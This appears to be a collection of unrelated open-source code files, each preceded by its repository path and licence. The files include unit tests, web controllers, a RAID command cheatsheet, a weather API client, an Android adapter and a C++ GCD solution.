package com.bandwidth.sdk.model; import com.bandwidth.sdk.AppPlatformException; import com.bandwidth.sdk.MockClient; import com.bandwidth.sdk.RestResponse; import com.bandwidth.sdk.TestsHelper; import org.apache.http.HttpStatus; import org.junit.Before; import org.junit.Test; import java.util.List; import static org.hamcrest.CoreMatchers.equalTo; import static org.junit.Assert.assertThat; public class RecordingTest extends BaseModelTest { MockClient mockClient; @Before public void setUp(){ super.setUp(); mockClient = new MockClient(); } @Test public void shouldGetRecordingList() throws Exception { RestResponse restResponse = new RestResponse(); restResponse.setResponseText("[\n" + "{\n" + " \"endTime\": \"2013-02-08T13:17:12Z\",\n" + " \"id\": \"{recordingId1}\",\n" + " \"media\": \"https://.../v1/users/.../media/{callId1}-1.wav\",\n" + " \"call\": \"https://.../v1/users/.../calls/{callId1}\",\n" + " \"startTime\": \"2013-02-08T13:15:47Z\",\n" + " \"state\": \"complete\"\n" + " },\n" + " {\n" + " \"endTime\": \"2013-02-08T14:05:15Z\",\n" + " \"id\": \"{recordingId2}\",\n" + " \"media\": \"https://.../v1/users/.../media/{callId1}-2.wav\",\n" + " \"call\": \"https://.../v1/users/.../calls/{callId1}\",\n" + " \"startTime\": \"2013-02-08T14:03:47Z\",\n" + " \"state\": \"complete\"\n" + " },\n" + " {\n" + " \"endTime\": \"2013-02-08T13:34:07Z\",\n" + " \"id\": \"{recordingId3}\",\n" + " \"media\": \"https://.../v1/users/.../media/{callId2}-1.wav\",\n" + " \"call\": \"https://.../v1/users/.../calls/{call2}\",\n" + " \"startTime\": \"2013-02-08T13:28:47Z\",\n" + " \"state\": \"complete\"\n" + " }\n" + "]"); restResponse.setContentType("application/json"); restResponse.setStatus(201); mockClient.setRestResponse(restResponse); List<Recording> list = Recording.list(mockClient, 0, 5); assertThat(list.size(), equalTo(3)); assertThat(list.get(0).getId(), equalTo("{recordingId1}")); assertThat(list.get(1).getCall(), equalTo("https://.../v1/users/.../calls/{callId1}")); assertThat(list.get(2).getState(), equalTo("complete")); assertThat(mockClient.requests.get(0).name, equalTo("get")); assertThat(mockClient.requests.get(0).uri, equalTo("users/" + TestsHelper.TEST_USER_ID + "/recordings")); assertThat(mockClient.requests.get(0).params.get("page").toString(), equalTo("0")); assertThat(mockClient.requests.get(0).params.get("size").toString(), equalTo("5")); } @Test public void shouldGetRecordingById() throws Exception { RestResponse response = new RestResponse(); response.setResponseText("{\n" + " \"endTime\": \"2013-02-08T14:05:15Z\",\n" + " \"id\": \"{recordingId2}\",\n" + " \"media\": \"https://.../v1/users/.../media/{callId1}-2.wav\",\n" + " \"call\": \"https://.../v1/users/.../calls/{callId1}\",\n" + " \"startTime\": \"2013-02-08T14:03:47Z\",\n" + " \"state\": \"complete\"\n" + "}"); mockClient.setRestResponse(response); Recording recording = Recording.get(mockClient, "{recordingId2}"); assertThat(recording.getId(), equalTo("{recordingId2}")); assertThat(recording.getState(), equalTo("complete")); assertThat(mockClient.requests.get(0).name, equalTo("get")); assertThat(mockClient.requests.get(0).uri, equalTo("users/" + TestsHelper.TEST_USER_ID + "/recordings/{recordingId2}")); } @Test(expected = AppPlatformException.class) public void shouldFailGetRecordingById() throws Exception { RestResponse response = new RestResponse(); response.setStatus(HttpStatus.SC_BAD_REQUEST); mockClient.setRestResponse(response); Recording.get(mockClient, "{recordingId2}"); } }
mit
katyaka/ultimate-samurai-showdown
entrants/Gargoyle.java
376
public class Gargoyle { public static void main(String args[]) { if (args.length < 5 || Integer.valueOf(args[4]) > 0) { System.out.println("IPO".charAt((int)(Math.random()*3))); } else if (args[0].charAt(args[0].length()-1) != 'G') { System.out.println('G'); } else { System.out.println('B'); } } }
mit
pione/pione
lib/pione/log/message-log.rb
4401
module Pione module Log # MessageLog is a set of utility methods for sending messages to user. module MessageLog # @api private MESSAGE_QUEUE = Queue.new # Message queue thread Thread.new { while msg = MESSAGE_QUEUE.pop puts msg end } # @!group Message Mode # @api private @@debug_mode = false # @api private @@quiet_mode = false # Evaluate the block in debug mode. # # @yield [] # target block # @return [void] def debug_mode orig = @@debug_mode @@debug_mode = true yield @@debug_mode = orig end module_function :debug_mode # Set debug mode. # # @param [bool] mode # flag of debug mode # @return [void] def debug_mode=(mode) @@debug_mode = mode end module_function :"debug_mode=" # Return true if the system is debug mode. # # @return [bool] def debug_mode? @@debug_mode end module_function :debug_mode? # Evaluate the block in quiet mode. # # @yield [] # target block # @return [void] def quiet_mode orig = @@quiet_mode @@quiet_mode = true yield @@quiet_mode = orig end module_function :quiet_mode # Set quiet mode. # # @param [bool] mode # flag of quiet mode # @return [void] def quiet_mode=(mode) @@quiet_mode = mode end module_function :"quiet_mode=" # Return true if the system is quiet mode. # # @return [bool] def quiet_mode? @@quiet_mode end module_function :quiet_mode? # @!group Message Senders # Send the debug message. # # @param msg [String] # debug message # @param level [Integer] # indent level # @param type [String] # message heading type # @return [void] def debug_message(msg, level=0, head="debug") if debug_mode? and not(quiet_mode?) message(:debug, head, :magenta, " "*level + msg) end end # Send the debug message to notify that something begins. # # @param msg [String] # debug message # @return [void] def debug_message_begin(msg) debug_message(msg, 0, ">>>") end # Send the debug message to notify that something ends. # # @param msg [String] # debug message # @return [void] def debug_message_end(msg) debug_message(msg, 0, "<<<") end # Send the user message. # # @param msg [String] # user message # @param level [Integer] # indent level # @param type [String] # message heading type # @return [void] def user_message(msg, level=0, head="info", color=:green) if not(quiet_mode?) message(:info, head, color, msg, level) end end # Send the user message to notify that something begins. # # @param msg [String] # user message # @return [void] def user_message_begin(msg, level=0) user_message(msg, level, "-->") end # Send the debug message to notify that something ends. # # @param [String] msg # debug message # @return [void] def user_message_end(msg, level=0) user_message(msg, level, "<--") end # Show the message. # # @param msg [String] # the message # # @note # Use this for debugging only. # # @api private def show(msg) message(:debug, "show", :red, msg) end # Print the message with the color. # # @param type [String] # message type("debug", "info", "show", ">>>", "<<<") # @param color [Symbol] # type color(:red, :green, :magenta) # @param msg [String] # message content # # @api private def message(type, head, color, msg, level=0) write(TupleSpace::MessageTuple.new(type: type, head: head, color: color, contents: msg, level: level)) rescue NoMethodError MESSAGE_QUEUE.push "%s%s %s" % [" "*level, ("%5s" % head).color(color), msg] end module_function :message end end end
mit
CodeMuhammed/taskcoin
public/js/custom/alert.js
1219
angular.module('alertModule' , []) .factory('alertService' , function(){ var alertApi; // function register(api){ alertApi = api; } // function alert(alertObj){ alertApi.addAlert(alertObj); } // return{ register:register, alert:alert } }) .directive('taskcoinAlert' , function(){ return { template:[ '<div class="taskcoin-alert">', '<div ng-repeat="alert in alerts" class="alert {{alert.class}}">{{alert.msg}}<i class="icon fa fa-times pull-right"></i></div>', '</div>' ].join(''), controller:function($scope , $timeout , alertService){ // $scope.alerts = []; //Register this directive functions with the service alertService.register({ addAlert:function(alertObj){ $scope.alerts.push(alertObj); var timeout = $timeout(function(){ $scope.alerts.splice(0 , 1); $timeout.cancel(timeout); } , 5000); } }); } } });
mit
hendryl/Famous-Places-CMS
src/app/continents/manage.controller.js
1208
class ManageController { constructor($scope, toastr, _, ContinentFactory) { 'ngInject'; $scope.headers = [ { 'title':'ID', 'column':'continent_id' }, { 'title':'Name', 'column':'name' }, { 'title':'Actions', 'column':'' }, ]; $scope.continents = []; $scope.sort = function(column) { if(column.isEmpty) { return; } $scope.continents = _.sortBy($scope.continents, column); }; $scope.delete = function(id, name) { var result = confirm("Are you sure you want to delete continent " + name + "?"); if(result) { ContinentFactory.delete(id).then(function(data) { $scope.continents = _.remove($scope.continents, function(continent) { return continent.continent_id !== id; }); toastr.success('Continent deleted.'); }, function(error) { toastr.error('Failed to delete continent: ' + error.data.detail); }); } }; ContinentFactory.getList().success(function(data) { $scope.continents = _.sortBy(data, "continent_id"); }); } } export default ManageController;
mit
lesovsky/uber-scripts
cheatsheets/storcli.cs
1070
StorCli is a RAID utility For LSI MegaRAID Controllers cx - controller, for example c0 vx - volumegroup (RAID), for example v0 # storcli cx show help show controller related help # storcli vx show help show virtual drive related help Troubleshoot # storcli /c0 show health show controller current health and status # storcli /c0 show termlog show firmware logs (very cryptic) # storcli /c0/bbu show bbu status Describe configuration # storcli /c0 show show controller info, vd list, pd list, cachevault status # storcli /c0/v0 show all show volumegroup properties # storcli /c0/v0 set wrcache=WT|WB|AWB array cache policy # storcli /c0/v0 set rdcache=RA|NoRA readahead policy # storcli /c0/v0 set pdcache=On|Off|Default disc cache policy # storcli /c0/bbu show bbu status # storcli /c0/dall show cachecade show cachecade configuration
mit
balintsoos/WAF-bead2
potzh/MyLibraryOwin/MyLibrary/Properties/AssemblyInfo.cs
1354
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("MyLibrary")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("MyLibrary")] [assembly: AssemblyCopyright("Copyright © 2017")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("f88f5088-98f1-416b-adfd-cfe73d04dc23")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Revision and Build Numbers // by using the '*' as shown below: [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
mit
w-y/ecma262-jison
lib/bnf/BindingElement.js
351
'use strict'; module.exports = { conditions: [''], name: 'BindingElement', rules: ['SingleNameBinding', 'BindingPattern Initializer_In', 'BindingPattern'], handlers: ['$$ = $1', '$$ = {key: $1, value: $2}', '$$ = {key: $1, value: $1}'], subRules: [require('./SingleNameBinding'), require('./BindingPattern'), require('./Initializer_In')] };
mit
FiftyNine/ScpperDB
module/Application/src/Application/Factory/Mapper/RevisionDbSqlMapperFactory.php
1143
<?php namespace Application\Factory\Mapper; use Zend\ServiceManager\FactoryInterface; use Zend\ServiceManager\ServiceLocatorInterface; use Zend\Stdlib\Hydrator\ClassMethods; use Zend\Stdlib\Hydrator\NamingStrategy\MapNamingStrategy; use Application\Mapper\RevisionDbSqlMapper; use Application\Utils\DbConsts\DbViewRevisionsAll; class RevisionDbSqlMapperFactory implements FactoryInterface { public function createService(ServiceLocatorInterface $serviceLocator) { $dbAdapter = $serviceLocator->get('Zend\Db\Adapter\Adapter'); $hydrator = new ClassMethods(); $names = [ DbViewRevisionsAll::REVISIONID => 'id', DbViewRevisionsAll::REVISIONINDEX => 'index', ]; $hydrator->setNamingStrategy(new MapNamingStrategy($names)); $hydrator->addStrategy(DbViewRevisionsAll::DATETIME, new \Zend\Stdlib\Hydrator\Strategy\DateTimeFormatterStrategy('Y-m-d H:i:s')); $prototype = $serviceLocator->get('RevisionPrototype'); return new RevisionDbSqlMapper($dbAdapter, $hydrator, $prototype, DbViewRevisionsAll::TABLE, DbViewRevisionsAll::REVISIONID); } }
mit
obsidian-btc/event-store-messaging
test/bench/handler/define_handler_methods.rb
367
require_relative 'handler_init' context "Handler Macro" do handler = EventStore::Messaging::Controls::Handler.example test "Defines handler methods" do assert(handler.respond_to? :handle_some_message) end test "Registers message classes" do handler.class.message_registry.registered? EventStore::Messaging::Controls::Message::SomeMessage end end
mit
aabenoja/react-prop-types
test/singlePropFromSpec.js
689
import singlePropFrom from '../src/singlePropFrom'; describe('singlePropFrom', function() { function validate(testProps) { const propList = ['children', 'value']; return singlePropFrom(propList)(testProps, 'value', 'Component'); } it('Should validate OK if only one listed prop in used', function() { const testProps = {value: 5}; assert.isUndefined(validate(testProps)); }); it('Should return error if multiple of the listed properties have values', function() { const err = validate({value: 5, children: 5}); assert.instanceOf(err, Error); assert.include(err.message, 'only one of the following may be provided: value and children'); }); });
mit
zachdj/ultimate-tic-tac-toe
services/SceneManager.py
1222
from scenes.MainMenu import MainMenu from scenes.SetupGame import SetupGame from scenes.PlayGame import PlayGame from scenes.GameCompleted import GameCompleted from scenes.SetupExperiment import SetupExperiment from scenes.RunExperiment import RunExperiment """ This module provides convenience functions for switching to scenes. This solves problems with scene circular dependence For example, MainMenu requires SetupGame requires PlayGame requires GameCompleted requires MainMenu """ def go_to_main_menu(current_scene): current_scene.switch_to_scene(MainMenu()) def go_to_setup_game(current_scene): current_scene.switch_to_scene(SetupGame()) def go_to_play_game(current_scene, p1, p2): current_scene.switch_to_scene(PlayGame(p1, p2)) def go_to_game_completed(current_scene, game): current_scene.switch_to_scene(GameCompleted(game)) def go_to_setup_experiment(current_scene): current_scene.switch_to_scene(SetupExperiment()) def go_to_experiment(current_scene, experiment): current_scene.switch_to_scene(RunExperiment(experiment)) # dirty hack that I'm very ashamed of to make menu scene work from initial bootstrap in main.py def get_main_menu_instance(): return MainMenu()
mit
evjan/LatteDB
LatteDB/IStreamReaderWriter.cs
192
using System; using System.Collections.Generic; namespace LatteDB { public interface IStreamReaderWriter { void AppendToStream(string stringToAppend); IList<string> ReadAllLines(); } }
mit
RazorFlow/framework
jsrf/src/vendor/kendo/cultures/kendo.culture.or.js
3483
/** * Copyright 2014 Telerik AD * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ (function(f, define){ define([], f); })(function(){ (function( window, undefined ) { var kendo = window.kendo || (window.kendo = { cultures: {} }); kendo.cultures["or"] = { name: "or", numberFormat: { pattern: ["-n"], decimals: 2, ",": ",", ".": ".", groupSize: [3,2], percent: { pattern: ["-n %","n %"], decimals: 2, ",": ",", ".": ".", groupSize: [3,2], symbol: "%" }, currency: { pattern: ["$ -n","$ n"], decimals: 2, ",": ",", ".": ".", groupSize: [3,2], symbol: "ଟ" } }, calendars: { standard: { days: { names: ["ରବିବାର","ସୋମବାର","ମଙ୍ଗଳବାର","ବୁଧବାର","ଗୁରୁବାର","ଶୁକ୍ରବାର","ଶନିବାର"], namesAbbr: ["ରବି.","ସୋମ.","ମଙ୍ଗଳ.","ବୁଧ.","ଗୁରୁ.","ଶୁକ୍ର.","ଶନି."], namesShort: ["ର","ସୋ","ମ","ବୁ","ଗୁ","ଶୁ","ଶ"] }, months: { names: ["ଜାନୁୟାରୀ","ଫ୍ରେବୃୟାରୀ","ମାର୍ଚ୍ଚ","ଏପ୍ରିଲ୍‌","ମେ","ଜୁନ୍‌","ଜୁଲାଇ","ଅଗଷ୍ଟ","ସେପ୍ଟେମ୍ବର","ଅକ୍ଟୋବର","ନଭେମ୍ବର","(ଡିସେମ୍ବର",""], namesAbbr: ["ଜାନୁୟାରୀ","ଫ୍ରେବୃୟାରୀ","ମାର୍ଚ୍ଚ","ଏପ୍ରିଲ୍‌","ମେ","ଜୁନ୍‌","ଜୁଲାଇ","ଅଗଷ୍ଟ","ସେପ୍ଟେମ୍ବର","ଅକ୍ଟୋବର","ନଭେମ୍ବର","(ଡିସେମ୍ବର",""] }, AM: ["AM","am","AM"], PM: ["PM","pm","PM"], patterns: { d: "dd-MM-yy", D: "dd MMMM yyyy", F: "dd MMMM yyyy HH:mm:ss", g: "dd-MM-yy HH:mm", G: "dd-MM-yy HH:mm:ss", m: "dd MMMM", M: "dd MMMM", s: "yyyy'-'MM'-'dd'T'HH':'mm':'ss", t: "HH:mm", T: "HH:mm:ss", u: "yyyy'-'MM'-'dd HH':'mm':'ss'Z'", y: "MMMM, yyyy", Y: "MMMM, yyyy" }, "/": "-", ":": ":", firstDay: 0 } } } })(this); return window.kendo; }, typeof define == 'function' && define.amd ? define : function(_, f){ f(); });
mit
DenisBiondic/ScopedUnitOfWork
ScopedUnitOfWork.Interfaces/Exceptions/IncorrectUnitOfWorkUsageException.cs
711
using System; using System.Runtime.Serialization; namespace ScopedUnitOfWork.Interfaces.Exceptions { [Serializable] public class IncorrectUnitOfWorkUsageException : InvalidOperationException { public IncorrectUnitOfWorkUsageException() { } public IncorrectUnitOfWorkUsageException(string message) : base(message) { } public IncorrectUnitOfWorkUsageException(string message, Exception innerException) : base(message, innerException) { } protected IncorrectUnitOfWorkUsageException(SerializationInfo info, StreamingContext context) : base(info, context) { } } }
mit
AndriianChestnykh/DebtManager
routes/debts.js
3085
'use strict'; var helper = require('../helpers/helper'); var express = require('express'); var router = express.Router(); /** * Get debts */ router.get('/', function (req, res) { // TODO: replace this. get debts from contract var debts = [ { id: 1, orderId: 1, companyAccount: "0x1234567890", amount: 1200, isAgreed: false }, { id: 2, orderId: 1, companyAccount: "0x2345678901", amount: 800, isAgreed: false } ]; res.json({success: true, debts: debts}); }); /** * Create debt */ router.put('/', function (req, res) { console.log('# Create debt'); var orderId = helper.parsePositiveInt(req.body.orderId); if (!orderId) { res.json(helper.getErrorMessage('orderId')); return; } var companyAccount = req.body.companyAccount; if (!companyAccount) { res.json(helper.getErrorMessage('companyAccount')); return; } var amount = helper.parsePositiveInt(req.body.amount); if (!amount) { res.json(helper.getErrorMessage('amount')); return; } var debt = { id: null, orderId: orderId, companyAccount: companyAccount, amount: amount, isAgreed: false }; // TODO: replace this. save debt and add id debt.id = Math.floor(Math.random() * 1000); res.json({success: true, debt: debt}); }); /** * Get debt */ router.get('/:id', function (req, res) { console.log('# Get debt'); var id = helper.parsePositiveInt(req.params.id); if (!id) { res.json(helper.getErrorMessage('id')); return; } // TODO: replace this. fetch debt var debt = { id: id, orderId: 1, companyAccount: "0x1234567890", amount: 1200, isAgreed: false }; res.json({success: true, debt: debt}); }); /** * Agree on debt */ router.post('/:id/agree', function (req, res) { console.log('# Agree on debt'); var id = helper.parsePositiveInt(req.params.id); if (!id) { res.json(helper.getErrorMessage('id')); return; } // TODO: replace this. fetch debt and set isAgreed to true var debt = { id: id, orderId: 1, companyAccount: "0x1234567890", amount: 1200, isAgreed: true }; res.json({success: true, debt: debt}); }); /** * Get debts by orderId */ router.get('/filter/byOrderId/:orderId', function (req, res) { console.log('# Get debts by orderId'); var orderId = helper.parsePositiveInt(req.params.orderId); if (!orderId) { res.json(helper.getErrorMessage('orderId')); return; } // TODO: replace this. fetch debts by orderId var debts = [ { id: 1, orderId: 1, companyAccount: "0x1234567890", amount: 1200, isAgreed: false } ]; res.json({success: true, debts: debts}); }); module.exports = router;
mit
GlowstoneMC/GlowstonePlusPlus
src/main/java/net/glowstone/net/codec/play/entity/EntityHeadRotationCodec.java
841
package net.glowstone.net.codec.play.entity; import com.flowpowered.network.Codec; import com.flowpowered.network.util.ByteBufUtils; import io.netty.buffer.ByteBuf; import java.io.IOException; import net.glowstone.net.message.play.entity.EntityHeadRotationMessage; public final class EntityHeadRotationCodec implements Codec<EntityHeadRotationMessage> { @Override public EntityHeadRotationMessage decode(ByteBuf buf) throws IOException { int id = ByteBufUtils.readVarInt(buf); int rotation = buf.readByte(); return new EntityHeadRotationMessage(id, rotation); } @Override public ByteBuf encode(ByteBuf buf, EntityHeadRotationMessage message) throws IOException { ByteBufUtils.writeVarInt(buf, message.getId()); buf.writeByte(message.getRotation()); return buf; } }
mit
luishsilva/GerenciadorPortal
src/Portal/AdminBundle/Resources/config/doctrine/metadata/orm/Menu.php
955
<?php use Doctrine\ORM\Mapping as ORM; /** * Menu * * @ORM\Table(name="menu", indexes={@ORM\Index(name="idx_cod_escola_entidade_desc_menu", columns={"desc_menu"})}) * @ORM\Entity */ class Menu { /** * @var integer * * @ORM\Column(name="id_menu", type="integer", nullable=false) * @ORM\Id * @ORM\GeneratedValue(strategy="IDENTITY") */ private $idMenu; /** * @var string * * @ORM\Column(name="desc_menu", type="string", length=20, nullable=false) */ private $descMenu; /** * @var integer * * @ORM\Column(name="ordem_menu", type="integer", nullable=false) */ private $ordemMenu; /** * @var string * * @ORM\Column(name="url_menu", type="string", length=45, nullable=true) */ private $urlMenu; /** * @var boolean * * @ORM\Column(name="ativo", type="boolean", nullable=true) */ private $ativo; }
mit
DoctorMcKay/raw.js
api/modposts.js
1625
var reddit = require('../index.js'); // reddit._addSimpleRequest = function(name, endpoint, method, args, constArgs, callback) reddit._addSimpleRequest("approve", "approve", "POST", ["id"], null, "_noResponse"); reddit._addSimpleRequest("ignoreReports", "ignore_reports", "POST", ["id"], null, "_noResponse"); reddit._addSimpleRequest("unignoreReports", "unignore_reports", "POST", ["id"], null, "_noResponse"); reddit._addSimpleRequest("nsfw", "marknsfw", "POST", ["id"], null, "_noResponse"); reddit._addSimpleRequest("unnsfw", "unmarknsfw", "POST", ["id"], null, "_noResponse"); reddit._addSimpleRequest("remove", "remove", "POST", ["id"], {"spam": false}, "_noResponse"); reddit._addSimpleRequest("spam", "remove", "POST", ["id"], {"spam": true}, "_noResponse"); reddit._addSimpleRequest("contestMode", "set_contest_mode", "POST", ["id", "state"], {"api_type": "json"}, "_noResponse"); reddit._addSimpleRequest("sticky", "set_subreddit_sticky", "POST", ["id", "state"], {"api_type": "json"}, "_noResponse"); reddit.prototype.distinguish = function(thing, distinguish, callback) { var self = this, sticky = false; if(distinguish === true) { distinguish = 'yes'; sticky = false; } else if(distinguish === false) { distinguish = 'no'; sticky = false; } else if(distinguish === 'sticky') { distinguish = 'yes'; sticky = true; } this._apiRequest("distinguish", {"method": "POST", "form": { "api_type": "json", "how": distinguish, "id": thing, "sticky": sticky }}, function(err, response, body) { self._modifySingleItem(err, body, callback); }); };
mit
MargaritaLubimova/python_park_mail
homework/homework3.4.5/weather.py
3114
import datetime import json import urllib.request class Weather(): def __time_converter(self, time): converted_time = datetime.datetime.fromtimestamp(int(time)).strftime('%I:%M %p') return converted_time def __url_builder(self, city_id): user_api = '0b1eaf7ce235a1ebaba14d5e07ee4228' unit = 'metric' api = 'http://api.openweathermap.org/data/2.5/weather?id=' full_api_url = api + str(city_id) + '&mode=json&units=' + unit + '&APPID=' + user_api return full_api_url def __data_fetch(self, full_api_url): url = urllib.request.urlopen(full_api_url) output = url.read().decode('utf-8') raw_api_dict = json.loads(output) url.close() return raw_api_dict def weather_dictionary(self, city_id): try: raw_api_dict = self.__data_fetch(self.__url_builder(city_id)) return dict( city=raw_api_dict.get('name'), country=raw_api_dict.get('sys').get('country'), temp=raw_api_dict.get('main').get('temp'), temp_max=raw_api_dict.get('main').get('temp_max'), temp_min=raw_api_dict.get('main').get('temp_min'), humidity=raw_api_dict.get('main').get('humidity'), pressure=raw_api_dict.get('main').get('pressure'), sky=raw_api_dict['weather'][0]['main'], sunrise=self.__time_converter(raw_api_dict.get('sys').get('sunrise')), sunset=self.__time_converter(raw_api_dict.get('sys').get('sunset')), wind=raw_api_dict.get('wind').get('speed'), wind_deg=raw_api_dict.get('deg'), dt=self.__time_converter(raw_api_dict.get('dt')), cloudiness=raw_api_dict.get('clouds').get('all'), ) except: return 'Ошибка запроса погоды' ####################### # def data_output(city_id): # data = Weather().weather_dictionary(city_id) # # m_symbol = '\xb0' + 'C' # print('---------------------------------------') # print('Current weather in: {}, {}:'.format(data['city'], data['country'])) # print(data['temp'], m_symbol, data['sky']) # print('Max: {}, Min: {}'.format(data['temp_max'], data['temp_min'])) # print('') # print('Wind Speed: {}, Degree: {}'.format(data['wind'], data['wind_deg'])) # print('Humidity: {}'.format(data['humidity'])) # print('Cloud: {}'.format(data['cloudiness'])) # print('Pressure: {}'.format(data['pressure'])) # print('Sunrise at: {}'.format(data['sunrise'])) # print('Sunset at: {}'.format(data['sunset'])) # print('') # print('Last update from the server: {}'.format(data['dt'])) # print('---------------------------------------') # # print('Rain: {}'.format(data['rain'])) # # city_id = 524894 # with open('city.list.json') as file_list_city: # city_dict_id = json.load(file_list_city) # if city_dict_id['name'] == my_city: # my_city_id = city_dict_id['_id'] # print(my_city_id) # data_output(city_id)
mit
jorgeyp/brew-tutor
mobile/src/main/java/com/jorgeyp/brewtutor/BeerAdapter.java
3212
package com.jorgeyp.brewtutor; import android.content.Context; import android.support.v7.widget.CardView; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import com.jorgeyp.brewtutor.model.Beer; import java.util.List; /** * Created by jorge on 15/4/15. */ public class BeerAdapter extends RecyclerView.Adapter<BeerAdapter.BeerViewHolder> { List<Beer> beers; public BeerAdapter(List<Beer> beers) { this.beers = beers; } @Override public BeerViewHolder onCreateViewHolder(ViewGroup viewGroup, int i) { View v = LayoutInflater.from(viewGroup.getContext()).inflate(R.layout.beer_card, viewGroup, false); BeerViewHolder beerViewHolder = new BeerViewHolder(v); return beerViewHolder; } @Override public void onBindViewHolder(BeerViewHolder beerViewHolder, int i) { Beer beer = beers.get(i); String timeUnits = beerViewHolder.context.getString(R.string.time_units); String abvUnits = beerViewHolder.context.getString(R.string.abv_units); String ibuUnits = beerViewHolder.context.getString(R.string.ibu_units); String ebcUnits = beerViewHolder.context.getString(R.string.ebc_units); // beerViewHolder.imageView beerViewHolder.nameTextView.setText(beer.getName()); beerViewHolder.timeTextView.setText(String.valueOf(beer.getTime()) + timeUnits); beerViewHolder.abvTextView.setText(String.valueOf(beer.getAbv()) + abvUnits); beerViewHolder.ibuTextView.setText(String.valueOf(beer.getIbu()) + ibuUnits); beerViewHolder.ebcTextView.setText(String.valueOf(beer.getEbc()) + ebcUnits); beerViewHolder.button.setTag(beer); // To retrieve the beer in main activity } @Override public int getItemCount() { return beers.size(); } @Override public void onAttachedToRecyclerView(RecyclerView recyclerView) { super.onAttachedToRecyclerView(recyclerView); } public static class BeerViewHolder extends RecyclerView.ViewHolder { protected CardView cardView; protected ImageView imageView; protected TextView nameTextView; protected TextView timeTextView; protected TextView abvTextView; protected TextView ibuTextView; protected TextView ebcTextView; protected Context context; protected Button button; public BeerViewHolder(View v) { super(v); cardView = (CardView) v.findViewById(R.id.beer_card); imageView = (ImageView) v.findViewById(R.id.beerImage); nameTextView = (TextView) v.findViewById(R.id.nameText); timeTextView = (TextView) v.findViewById(R.id.timeText); abvTextView = (TextView) v.findViewById(R.id.abvText); ibuTextView = (TextView) v.findViewById(R.id.ibuText); ebcTextView = (TextView) v.findViewById(R.id.ebcText); context = v.getContext(); button = (Button) v.findViewById(R.id.buttonBrew); } } }
mit
patrick91/pycon
backend/api/grants/types.py
79
import strawberry @strawberry.type class GrantRequest: id: strawberry.ID
mit
NetOfficeFw/NetOffice
Source/OWC10/Enums/OCCommandId.cs
2824
using System; using NetOffice; using NetOffice.Attributes; namespace NetOffice.OWC10Api.Enums { /// <summary> /// SupportByVersion OWC10 1 /// </summary> [SupportByVersion("OWC10", 1)] [EntityType(EntityType.IsEnum)] public enum OCCommandId { /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1007</remarks> [SupportByVersion("OWC10", 1)] ocCommandAbout = 1007, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1000</remarks> [SupportByVersion("OWC10", 1)] ocCommandUndo = 1000, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1001</remarks> [SupportByVersion("OWC10", 1)] ocCommandCut = 1001, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1002</remarks> [SupportByVersion("OWC10", 1)] ocCommandCopy = 1002, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1003</remarks> [SupportByVersion("OWC10", 1)] ocCommandPaste = 1003, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1005</remarks> [SupportByVersion("OWC10", 1)] ocCommandProperties = 1005, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1006</remarks> [SupportByVersion("OWC10", 1)] ocCommandHelp = 1006, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1004</remarks> [SupportByVersion("OWC10", 1)] ocCommandExport = 1004, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>2000</remarks> [SupportByVersion("OWC10", 1)] ocCommandSortAsc = 2000, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>2031</remarks> [SupportByVersion("OWC10", 1)] ocCommandSortDesc = 2031, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1010</remarks> [SupportByVersion("OWC10", 1)] ocCommandChooser = 1010, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1017</remarks> [SupportByVersion("OWC10", 1)] ocCommandAutoFilter = 1017, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1016</remarks> [SupportByVersion("OWC10", 1)] ocCommandAutoCalc = 1016, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1013</remarks> [SupportByVersion("OWC10", 1)] ocCommandCollapse = 1013, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1012</remarks> [SupportByVersion("OWC10", 1)] ocCommandExpand = 1012, /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <remarks>1014</remarks> [SupportByVersion("OWC10", 1)] ocCommandRefresh = 1014 } }
mit
ThiagoInocencio/Competitive-Programming-Solutions
Uri-Online-Judge/cpp/1028 - Collectable Cards.cpp
505
#include <stdio.h> #include <iostream> using namespace std; int N, F1, F2, x, dividendo, divisor; int main() { cin >> N; while(N>0) { cin >> F1 >> F2; if(F1==F2) { cout << F1 << "\n"; N--; continue; } if(F2>F1) { x = F2; F2 = F1; F1 = x; } dividendo = F1; divisor = F2; while(true) { if(dividendo%divisor==0) { cout << divisor << "\n"; break; } x = divisor; divisor = dividendo%divisor; dividendo = x; } N--; } return 0; }
mit
